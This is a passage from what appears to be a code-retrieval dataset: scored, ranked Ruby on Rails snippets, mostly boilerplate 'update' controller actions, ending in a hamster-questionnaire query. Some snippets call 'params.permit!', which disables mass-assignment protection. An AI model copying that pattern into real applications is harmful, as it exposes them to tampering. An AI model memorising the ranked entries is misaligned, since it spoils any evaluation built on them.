"score": "0.51907283", "text": "def update\n @version = Version.find(params[:id])\n\n amounts = [\"licences\",\"recurrent_services\",\"no_recurrent_services\"]\n amounts.each{|am| params[:version][am+\"_amount\"] = nil unless params[am] }\n \n respond_to do |format|\n if @version.update_attributes(params[:version])\n format.html { redirect_to(@version.offer, :notice => 'Version was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @version.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fbd7c46b15ae2792fd842ba0d764b7d0", "score": "0.5190012", "text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end", "title": "" }, { "docid": "758f3d26cf82c93f28156caa2ec55442", "score": "0.5189884", "text": "def update\n respond_to do |format|\n if @api_v1_enterprise.update(api_v1_enterprise_params)\n format.html { redirect_to @api_v1_enterprise, notice: 'Enterprise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_enterprise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_enterprise.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a6990ce217c3bc750c044b37f75f561", "score": "0.51890725", "text": "def update\n @hr_incentive = HrIncentive.find(params[:id])\n\n respond_to do |format|\n if @hr_incentive.update_attributes(params[:hr_incentive])\n format.html { redirect_to(@hr_incentive, :notice => 'Hr incentive was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hr_incentive.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b81d2ccef0835f3afad633813ca3d95d", "score": "0.5187235", "text": "def update\n @knife = Knife.find(params[:id])\n\n respond_to do |format|\n if @knife.update_attributes(params[:knife])\n flash[:notice] = 'Knife was successfully updated.'\n format.html { redirect_to(@knife) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @knife.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2903717db9193105d7cc6db331b65ba", "score": "0.5177505", "text": "def update\n @narrative = Narrative.find(params[:id])\n\n respond_to do |format|\n if @narrative.update_attributes(params[:narrative])\n flash[:notice] = 'Narrative was successfully updated.'\n format.html { redirect_to(@narrative) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @narrative.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "345ab3f9bb0c7768030170f202b0ae9a", "score": "0.5173829", "text": "def update\n params.permit!\n @oxygen = Oxygen.find(params[:id])\n\n respond_to do |format|\n if @oxygen.update_attributes(params[:oxygen])\n format.html { redirect_to(@oxygen, :notice => 'Oxygen was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @oxygen.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7bcda0984c570cde3d4524c525ac00be", "score": "0.5172235", "text": "def update\n @inventor = Inventor.find(params[:id])\n @entity = @inventor.entity\n respond_to do |format|\n if @inventor.update_attributes(params[:inventor])\n flash[:notice] = 'Inventor was successfully updated.'\n format.html { redirect_to(@inventor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64d901bbe73bbc3e2cc02fb08bb84eb3", "score": "0.5168946", "text": "def update\n @entrant = Entrant.find(params[:id])\n\n respond_to do |format|\n if @entrant.update_attributes(params[:entrant])\n format.html { redirect_to(@entrant, :notice => 'Entrant was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entrant.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30ac77c110c1e082524af0ed3bc18d7d", "score": "0.51686287", "text": "def update\n @associate = Associate.find(params[:id])\n\n respond_to do |format|\n if @associate.update_attributes(params[:associate])\n format.html { redirect_to(@associate, :notice => 'Associate was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @associate.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2659977d229e2aa987b1d3625d3e64e8", "score": "0.516626", "text": "def update\n @xray = Xray.find(params[:id])\n\n respond_to do |format|\n if @xray.update_attributes(params[:xray])\n format.html { redirect_to(@xray, :notice => 'Xray was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xray.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82ebebd32ab9fa273784cb7b13df2c36", "score": "0.5162437", "text": "def update\n @name = Name.find(params[:id]) \n params[:name][:investigation_ids] ||= []\n\n respond_to do |format|\n if @name.update_attributes(params[:name])\n flash[:notice] = 'Name was successfully updated.'\n format.html { redirect_to(@name) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @name.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c7119516373093541572cd86670e07c8", "score": "0.5162226", "text": "def update\n @narrative = Narrative.find(params[:id])\n\n respond_to do |format|\n if @narrative.update_attributes(params[:narrative])\n format.html { redirect_to(@narrative, :notice => 'Narrative was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @narrative.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38979984bdedacd95706689e25f09f9e", "score": "0.515996", "text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end", "title": "" }, { "docid": "bf21e2a922eaf1462fea21b3e9f975ef", "score": "0.5159549", "text": "def update\n @renter = Renter.find(params[:id])\n\n respond_to do |format|\n if @renter.update_attributes(params[:renter])\n flash[:notice] = 'Renter was successfully updated.'\n format.html { redirect_to(@renter) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @renter.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0572840660dcdc5a09eecb65583f3427", "score": "0.5158556", "text": "def update\n @xvocab = Xvocab.find(params[:id])\n\n respond_to do |format|\n if @xvocab.update_attributes(params[:xvocab])\n format.html { redirect_to @xvocab, notice: 'Xvocab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @xvocab.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba1bcc03d39030f5689c5f4116276afe", "score": "0.5157542", "text": "def update\n @key = Key.find(params[:id])\n\n respond_to do |format|\n if @key.update_attributes(params[:key])\n @key.add_key_to_git\n flash[:notice] = 'Key was successfully updated.'\n format.html { redirect_to(@key) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @key.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "046191e6b0bb455dcf2be3a33be32524", "score": "0.5147684", "text": "def update\n @residence = Residence.find(params[:id])\n\n respond_to do |format|\n if @residence.update_attributes(params[:residence])\n flash[:notice] = 'Residence was successfully updated.'\n format.html { redirect_to(@residence) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @residence.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d5edc486aa63a64e4cf79ccd28512f11", "score": "0.51232386", "text": "def index\n @api_v1_enterprises = Api::V1::Enterprise.all\n end", "title": "" }, { "docid": "80bc57ef5339049b494a57edf6fc6dc1", "score": "0.5120556", "text": "def update\n respond_to do |format|\n if @existence.update(existence_params)\n format.html { redirect_to @existence, notice: 'Existence was successfully updated.' }\n format.json { render :show, status: :ok, location: @existence }\n else\n format.html { render :edit }\n format.json { render json: @existence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc9e0bc5c524996d0c9efc9685f8fd9e", "score": "0.51199704", "text": "def update\n @emissora = Emissora.find(params[:id])\n\n respond_to do |format|\n if @emissora.update_attributes(params[:emissora])\n format.html { redirect_to(@emissora, :notice => 'Emissora was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @emissora.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "890e2004098a8ed76d3837c9d2fd38cc", "score": "0.5118898", "text": "def update\n @enterprise = Enterprise.find(params[:id])\n\n respond_to do |format|\n if @enterprise.update_attributes(params[:enterprise])\n format.html { redirect_to @enterprise, flash: {:success => '更新企业资料成功.'} }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enterprise.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b90e1763676a8fe8eab968f09067aec5", "score": "0.5118656", "text": "def update\n @principal = Principal.find(params[:id])\n\n respond_to do |format|\n if @principal.update_attributes(params[:principal])\n format.html { redirect_to(@principal, :notice => 'Principal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @principal.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44a7247702952333fc613ceb79c8649c", "score": "0.51172775", "text": "def update\n @sitedatum = Sitedatum.find(params[:id])\n\n respond_to do |format|\n if @sitedatum.update_attributes(params[:sitedatum])\n format.html { redirect_to(@sitedatum, :notice => 'Sitedatum was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sitedatum.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b85768f8b7e3fb6c6a4805b9181d43a9", "score": "0.5114712", "text": "def update\n @establish = Establish.find(params[:id])\n\n respond_to do |format|\n if @establish.update_attributes(params[:establish])\n format.html { redirect_to :controller => \"establishes\", :action => \"index\" }\n #format.html { redirect_to @establish, notice: 'Establish was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @establish.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a21658e8869b48b877bfbe57de8fb717", "score": "0.5114453", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.put(\n url,\n { Contact: { email: \"wacky_new_email@coolstuff.com\" } } )\n \nend", "title": "" }, { "docid": "0a4b075dad646f82217d2d041baf90b2", "score": "0.5104953", "text": "def update\n @examen = Examen.find(params[:id])\n\n respond_to do |format|\n if @examen.update_attributes(params[:examen])\n flash[:notice] = 'Examen was successfully updated.'\n format.html { redirect_to(@examen) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @examen.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "804fc9527188d22d52d4e25b61ab76da", "score": "0.51046026", "text": "def update\n @heritage = Heritage.find(params[:id])\n\n respond_to do |format|\n if @heritage.update_attributes(params[:heritage])\n flash[:notice] = 'Heritage was successfully updated.'\n format.html { redirect_to(@heritage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @heritage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "506416878d5d46a8fbf245faf33103cd", "score": "0.5104415", "text": "def update\n @provincia = Provincia.find(params[:id])\n\n respond_to do |format|\n if @provincia.update_attributes(params[:provincia])\n format.html { redirect_to(@provincia, :notice => 'Provincia was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provincia.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72dcf9257b596f1e683614808ef45c74", "score": "0.50986665", "text": "def update\n @establishment = Establishment.find(params[:id])\n\n respond_to do |format|\n if @establishment.update_attributes(params[:establishment])\n flash[:notice] = 'Establishment was successfully updated.'\n format.html { redirect_to(@establishment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @establishment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c2c6d464d432c70b1dfe007a3a13273", "score": "0.5097966", "text": "def update\n @attendence_entry = AttendenceEntry.find(params[:id])\n\n respond_to do |format|\n if @attendence_entry.update_attributes(params[:attendence_entry])\n format.html { redirect_to(@attendence_entry, :notice => 'Attendence entry was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attendence_entry.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d1d048eaf7a21ed3787a71459617e65f", "score": "0.5097294", "text": "def update\n @absence = Absence.find(params[:id])\n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to [@employee, @absence], notice: 'La inasistencia fue exitosamente actualizada.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "545fd9ec2eebb48e3fc8292be45a1ac2", "score": "0.509554", "text": "def update\n @authorship = Authorship.find(params[:id])\n\n respond_to do |format|\n if @authorship.update_attributes(params[:authorship])\n flash[:notice] = 'Authorship was successfully updated.'\n format.html { redirect_to(@authorship) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @authorship.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "545fd9ec2eebb48e3fc8292be45a1ac2", "score": "0.509554", "text": "def update\n @authorship = Authorship.find(params[:id])\n\n respond_to do |format|\n if @authorship.update_attributes(params[:authorship])\n flash[:notice] = 'Authorship was successfully updated.'\n format.html { redirect_to(@authorship) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @authorship.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad54471b285e5e357d9be959c8ade2d8", "score": "0.5090897", "text": "def update\n path = \"/workflow/#{repo}/objects/druid:#{druid}/workflows/#{workflow}/#{step}\"\n conn = Faraday.new(url: config['host'])\n conn.basic_auth(config['user'], config['password'])\n conn.headers['content-type'] = 'application/xml'\n\n conn.put path, payload\n end", "title": "" }, { "docid": "740d838c88c747f6311366841a4616ab", "score": "0.5090869", "text": "def update\n if @enterprise.update(enterprise_params)\n render :show, status: :ok, location: @enterprise\n else\n render json: @enterprise.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "72379e60afd2ae358229181e69ead4aa", "score": "0.5087235", "text": "def update\n @attendence = Attendence.find(params[:id])\n\n respond_to do |format|\n if @attendence.update_attributes(params[:attendence])\n flash[:notice] = 'Attendence was successfully updated.'\n format.html { redirect_to(@attendence) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attendence.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72379e60afd2ae358229181e69ead4aa", "score": "0.5087235", "text": "def update\n @attendence = Attendence.find(params[:id])\n\n respond_to do |format|\n if @attendence.update_attributes(params[:attendence])\n flash[:notice] = 'Attendence was successfully updated.'\n format.html { redirect_to(@attendence) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attendence.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48bfc0c56cb7f2542305d0e1305976b5", "score": "0.50857604", "text": "def update\n @post256 = Post256.find(params[:id])\n\n respond_to do |format|\n if @post256.update_attributes(params[:post256])\n format.html { redirect_to(@post256, :notice => 'Post256 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post256.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90cbe5e1dd8810ff6dfa2e25cc9567b4", "score": "0.50856113", "text": "def update\n @professional = Professional.find(params[:id])\n\n respond_to do |format|\n if @professional.update_attributes(params[:professional])\n format.html { redirect_to(@professional, :notice => 'Professional was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @professional.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5349e098a98a61b681c20d2130ab1ac", "score": "0.5084942", "text": "def update\n @resident = Resident.find(params[:id])\n\n respond_to do |format|\n if @resident.update_attributes(params[:resident])\n format.html { redirect_to @resident, notice: 'Resident was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8a7364a08de15bf020e68287dd1b1ef", "score": "0.50844496", "text": "def update\n @activist = Activist.find(params[:id])\n @interests = Interest.all\n\n respond_to do |format|\n if @activist.update_attributes(params[:activist])\n format.html { redirect_to(@activist, :notice => 'Activist was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activist.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "882c8317370987b86425c0adbf5bfe8c", "score": "0.5083011", "text": "def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "49a0b25611389e53b2adfa85f9689df7", "score": "0.5081444", "text": "def update\n @occupant = Occupant.find(params[:id])\n\n respond_to do |format|\n if @occupant.update_attributes(params[:occupant])\n format.html { redirect_to(@occupant, :notice => 'Occupant was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @occupant.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d4feb458b72dac95728e0c7c289cb5", "score": "0.5077144", "text": "def update_rest\n @instrument = Instrument.find(params[:id])\n\n respond_to do |format|\n if @instrument.update_attributes(params[:instrument])\n flash[:notice] = 'Instrument was successfully updated.'\n format.html { redirect_to(@instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72de3653a9115fdcab23036a123cb366", "score": "0.5071819", "text": "def update\n @cultural_heritage_pre_register_request = CulturalHeritage::PreRegisterRequest.find(params[:id])\n\n respond_to do |format|\n if @cultural_heritage_pre_register_request.update_attributes(params[:cultural_heritage_pre_register_request])\n format.html { redirect_to(@cultural_heritage_pre_register_request, :notice => 'Pre register request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cultural_heritage_pre_register_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c9991f8e09b3048e10fb02309785d68", "score": "0.50709724", "text": "def create\n @prikey = Prikey.new(params[:prikey])\n\n respond_to do |format|\n if @prikey.save\n format.html { redirect_to(@prikey, :notice => 'Prikey was successfully created.') }\n format.xml { render :xml => @prikey, :status => :created, :location => @prikey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prikey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35f2168201ab35940edeabebee64f8a3", "score": "0.5063859", "text": "def update\n @resident.author_id = current_user.id\n\n respond_to do |format|\n if @resident.update(resident_params)\n format.html { redirect_to app_residents_path, notice: 'Resident was successfully updated.' }\n format.json { render :show, status: :ok, location: @resident }\n else\n format.html { render :edit }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "200b727a43354e67a57dab1f7bc38a04", "score": "0.5063755", "text": "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(interest_param)\n format.html { redirect_to([:admin, @interest], :notice => 'Interest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "950485ca856cea7680a611101b2e0880", "score": "0.5063495", "text": "def update\n @neuropsych_assessment = NeuropsychAssessment.find(params[:id])\n\n respond_to do |format|\n if @neuropsych_assessment.update_attributes(params[:neuropsych_assessment])\n flash[:notice] = 'NeuropsychAssessment was successfully updated.'\n format.html { redirect_to(@neuropsych_assessment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @neuropsych_assessment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "692de9caf1e952ebea3f5e45077c3d02", "score": "0.50622237", "text": "def update\n @impact_leader = ImpactLeader.find(params[:id])\n\n respond_to do |format|\n if @impact_leader.update_attributes(params[:impact_leader])\n flash[:notice] = 'ImpactLeader was successfully updated.'\n format.html { redirect_to(@impact_leader) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @impact_leader.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c99238efa98a6e05678c5d303dd5515d", "score": "0.5061804", "text": "def update_ticket(ticket_num)\n \n url = ['/tickets/',ticket_num,'.xml'].join\n result = @connection.put url, \n (\n xml = Builder::XmlMarkup.new( :indent => 2 )\n xml.instruct! :xml, :encoding => \"UTF-8\"\n xml.ticket do |t|\n t.tag! \"solved-at\", Time.now\n t.tag! \"status-id\", \"3\"\n end\n )\n end", "title": "" }, { "docid": "6a88d6918c8844c1abaf504eca75555a", "score": "0.50598365", "text": "def update\n @enonce = Enonce.find(params[:id])\n\n respond_to do |format|\n if @enonce.update_attributes(params[:enonce])\n format.json { head :no_content }\n else\n format.json { render json: @enonce.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1196c21347affa2a44fc6d644ec90a9c", "score": "0.50591654", "text": "def update_article(article)\n xml = get_xml\n\n article.abstract = xml.css('abstract').text\n\n xml.css('contrib[contrib-type=author]').each do |node|\n first_name, middle_name = node.css('given-names').text.split(' ')\n article.add_author(\n first_name,\n middle_name,\n node.css('surname').text\n )\n end\n\n article.save\n end", "title": "" }, { "docid": "c44accf8043da1d1e020653163709478", "score": "0.50588155", "text": "def preapprove!\n @hulot.approvals.create! :trust_root=>@trust_root\n end", "title": "" }, { "docid": "9612e82858eaa35d96f947c8272a4e3c", "score": "0.50583047", "text": "def update\n @achievemint = Achievemint.find(params[:id])\n\n respond_to do |format|\n if @achievemint.update_attributes(params[:achievemint])\n flash[:notice] = 'Achievemint was successfully updated.'\n format.html { redirect_to(@achievemint) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @achievemint.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c925d7f638df0c5fbf21e4a6fe7607e0", "score": "0.5057615", "text": "def set_enterprise\n @enterprises = @user.enterprises\n if @enterprises.nil?\n respond_to do |format|\n format.html { redirect_to enterprises_path, alert: \"You don't have any enterprises yet.\" }\n end\n else\n @enterprise = @enterprises.find_by(id: params[:id])\n if @enterprise.present?\n return @enterprise\n else\n respond_to do |format|\n format.html { redirect_to enterprises_path, alert: \"You don't have access to this enterprise.\" }\n end\n end\n end\n end", "title": "" }, { "docid": "ebfe478ffb56cc24ee2c756996e85d9a", "score": "0.5057123", "text": "def update\n respond_to do |format|\n if @aws_key.update_attributes(params[:aws_key])\n flash[:notice] = 'AWS Key was successfully updated.'\n format.html { redirect_to aws_keys_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aws_key.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00a12f6b9c29606b6900ee8beef8523a", "score": "0.50569683", "text": "def update\n @proprietary_register = ProprietaryRegister.find(params[:id])\n\n respond_to do |format|\n if @proprietary_register.update_attributes(params[:proprietary_register])\n format.html { redirect_to(@proprietary_register, :notice => 'Proprietary register was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @proprietary_register.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "910a3f8607a5da464a7ea42ca4aa5c4a", "score": "0.50566775", "text": "def update\n @ev_owner = EvOwner.find(params[:id])\n\n respond_to do |format|\n if @ev_owner.update_attributes(params[:ev_owner])\n format.html { redirect_to(@ev_owner, :notice => 'Ev owner was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ev_owner.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df3490df2ae7eae4454f015488b5a605", "score": "0.5055616", "text": "def update\n @oier = Oier.find_by_name(params[:id])\n\n respond_to do |format|\n if @oier.update_attributes(params[:oier])\n format.html { redirect_to(@oier, :notice => 'Oier was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @oier.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5535c46fef5b9a3ec55a9ed6e6546289", "score": "0.5055569", "text": "def update\n @incidence = Incidence.find(params[:id])\n\n respond_to do |format|\n if @incidence.update_attributes(params[:incidence])\n format.html { redirect_to(@incidence, :notice => 'Incidence was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incidence.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2cbed63718f55836bbc38e76e61a92e3", "score": "0.50547975", "text": "def update\n @legalentity = Legalentity.find(params[:id])\n\n respond_to do |format|\n if @legalentity.update_attributes(params[:legalentity])\n format.html { redirect_to(@legalentity, :notice => 'Legalentity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @legalentity.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d208c5cebc0c857ca2f0c740cb741ab", "score": "0.50540143", "text": "def update\n params.permit!\n @en_certify = EnCertify.find(params[:id])\n\n respond_to do |format|\n if @en_certify.update_attributes(params[:en_certify])\n format.html { redirect_to(@en_certify, :notice => 'En certify was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @en_certify.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14309a1f5add66430552267b84edf319", "score": "0.50534505", "text": "def update\n @exthouse = Exthouse.find(params[:id])\n\n respond_to do |format|\n if @exthouse.update_attributes(params[:exthouse])\n format.html { redirect_to @exthouse, notice: 'Exthouse was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exthouse.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
e6dedbd7ff55ce0d8a4dab071b2a2fdc
allow user to name hamster (method 1) string allow user to rename hamster (method 2) string record hamster noise level of squeaks ranked by number 110 integer record hamster fur color string record hamster age integer answer whether good candidate for adoption boolean?
[ { "docid": "abddc1a99ce065c4f257a3a2e73d8da1", "score": "0.6796178", "text": "def hamster_info\n puts \"what is the hamsters name?\"\n hamster_name = gets.chomp\n puts \"the hamsters name is #{hamster_name}\"\n\n puts \"rank the hamsters noise level from 1-10\"\n hamster_volume = gets.chomp.to_i\n puts \"hamsters volume is #{hamster_volume}\"\n\n puts \"what is the hamsters fur color?\"\n hamster_color = gets.chomp\n puts \"the hamsters fur color is #{hamster_color}\"\n\n puts \"what is the hamsters age\"\n hamster_age = nil\n puts \"the hamsters age is #{hamster_age}\"\n#else\n #gets.chomp = \"\"\n #hamster_age = NIL\n #puts \"we are not sure so #{hamster_age}\"\n\n puts \"is the hamster a good candidate for adoption y/n\"\n hamster_good = gets.chomp\n if hamster_good == \"y\"\n puts \"is hamster a good candidate for adoption? yes\"\n elsif\n hamster_good = \"n\"\n puts \"is hamster a good candidate for adoption? no\"\n\n end\n\nend", "title": "" } ]
[ { "docid": "24da4a23bc7a92ddf9d5d301b51ac432", "score": "0.65535975", "text": "def hamster()\n\tputs \"What is your hamster's name?\"\n\thamster_name=gets.chomp\n\t\n\tputs \"How loud is your hamster?\"\n\tvolume_level=gets.chomp.to_i\n\t\n\tputs \"What is your hamster's fur color?\"\n\tfur_color=gets.chomp\n\t\n\tputs \"Is your hamster a good candidate for adoption? (y/n)\"\n\tcandidate=gets.chomp\n\t\n\tputs \"What's your hamster's approximate age?\" \n\t\tnumber = gets.chomp \n\t\t\tif number == ' ';\n\t\t\t\treturn nil\n\t\t\telse number = number.to_i;\n\t\t\t\t\n\tend\n\t\n\tputs \"Your hamster's name is #{hamster_name}. On a scale of 1 -10, your hamster's volume level is #{volume_level}. Your hamster's fur color is #{fur_color}. Is your hamster a good candidate for adoption? #{candidate}! And your hamster is approximately #{number} years old!\"\nend", "title": "" }, { "docid": "a5cc89a5c7553ec164592c6878bfdff9", "score": "0.626159", "text": "def hamster_organizer\n puts \"What is the hamster\\'s name?\"\n hamster_name = gets.chomp\n puts \"How loud is the hamster on a scale from 1 to 10?\"\n volume = gets.to_i #test .chomp if doesn't work\n puts \"What is the color of the fur?\"\n fur_color = gets.chomp\n puts \"Is the hamster a good candidate for adoption?(y,n)\"\n adoption_status = gets.chomp\n puts \"How many years old is the hamster?\"\n estimated_age = gets.to_i\n if estimated_age == \"\"\n puts estimated_age = nil\n end\n puts \"The hamster name is \" + \"#{hamster_name}\"\n puts \"The hamster is a \" + \"#{volume}\" + \" on a scale of 1 to 10\"\n puts \"The hamster is \" + \"#{fur_color}\"\n if adoption_status == \"y\"\n puts \"It is a good candidate for adoption\"\n elsif\n puts \"It is NOT a good candidate for adoption\"\n end\n puts \"We think the hamster is \" +\"#{estimated_age}\" + \" years old\"\nend", "title": "" }, { "docid": "b3a3c2f520ea6014430b9784b90e1734", "score": "0.60495204", "text": "def hisher\n hisher = human_gender == 'Male' ? 'his' : 'her'\n end", "title": "" }, { "docid": "3b7cffeaccaf95138e513d47f3f6c7bd", "score": "0.60063434", "text": "def new_name(data)\n data.strip!\n if data.nil?\n 